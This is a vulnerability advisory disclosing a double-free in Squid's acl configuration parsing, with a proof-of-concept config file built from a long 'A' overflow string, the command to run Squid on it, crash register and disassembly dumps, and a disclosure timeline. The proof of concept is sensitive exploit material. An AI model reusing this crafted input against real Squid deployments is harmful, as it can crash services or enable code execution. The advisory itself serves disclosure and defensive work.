Squid Cache vulnerability

Summary

Vulnerability

Description

A Double-Free bug was found in Squid versions up to 4.14 and 5.0.5 when processing the acl directive on configuration files, more specifically the first and second addresses.

This may allow arbitrary code execution on a Squid deployment on where the configuration files may be processed from untrusted sources.

Proof of Concept

Create a file with the following contents:

acl localnet src
1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA92.168.0.0/16

Run squid as:

/usr/sbin/squid -f heap.conf

These are the values of the CPU registers at the moment of the crash

$rax : 0x4141414141414141 ("AAAAAAAA"?) $rbx : 0x0000555555c77f60 → 0x0000000900000009 $rcx : 0x0000555555dcd010 → 0x0003000200010004 $rdx : 0x39 $rsp : 0x00007fffffffe3c8 → 0x00005555558c4f93 → <acl_ip_data::FactoryParse(char+0> call 0x555555709d10 <_Z13self_destructv> $rbp : 0x0000555555e18da0 → "1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" $rsi : 0x0000555555e15e80 → 0x0000000000000000 $rdi : 0x4141414141414141 ("AAAAAAAA"?) $rip : 0x0000555555af55e0 → <Mem::AllocatorProxy::freeOne(void*)+16> mov rax, QWORD PTR [rax] $r8 : 0x0 $r9 : 0x3b4 $r10 : 0x0000555555e19120 → 0x0000000000000000 $r11 : 0x246 $r12 : 0x0 $r13 : 0x0000555555d67aa0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]" $r14 : 0x0000555555e0a220 → 0x0000555555c49f98 → 0x00007ffff787ef20 → <std::__cxx11::basic_ostringstream<char,+0> mov rax, QWORD PTR
[rip+0x9e619]        # 0x7ffff791d540
$r15   : 0x00007fffffffe450  →  0x0000555555b37e3e  →  "FactoryParse"
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow
RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000

And the execution stops at:

 0x555555af55d9 <Mem::AllocatorProxy::freeOne(void*)+9> mov rsi, rbp 0x555555af55dc <Mem::AllocatorProxy::freeOne(void*)+12> pop rbp 0x555555af55dd <Mem::AllocatorProxy::freeOne(void*)+13> mov rdi, rax → 0x555555af55e0 <Mem::AllocatorProxy::freeOne(void*)+16> mov rax,QWORD PTR [rax] 0x555555af55e3 <Mem::AllocatorProxy::freeOne(void*)+19> mov rax,QWORD PTR [rax+0x28] 0x555555af55e7 <Mem::AllocatorProxy::freeOne(void*)+23> jmp rax 0x555555af55e9 nop 0x555555af55ea nop WORD PTR [rax+rax*1+0x0] 0x555555af55f0 <Mem::AllocatorProxy::inUseCount()+0> mov    rdi, QWORD
PTR [rdi+0x10]

As the value of RAX is populated using the malicious input configuration, arbitrary command execution is achieved at 0x555555af55e7.

Mitigation

By 2021-03-17 there is not a patch resolving the issue.

Credits

The vulnerability was discovered by Andrés Roldán from the Offensive Team of Fluid Attacks.

Timeline

• 2021-02-08: Vulnerability discovered.

• 2021-02-09: Vendor contacted.

• 2021-02-10: Vendor replied asking to test for the vulnerability once the patch is available.

• 2021-02-22: Vendor contacted again to check for updates.

• 2021-02-22: Vendor replied that, although this bug is not worth hiding because of the nature of the exploitation environment.

• 2021-02-24: Public disclosure

References

Vendor page http://www.squid-cache.org/

Full Disclosure announcement https://seclists.org/fulldisclosure/2021/Feb/80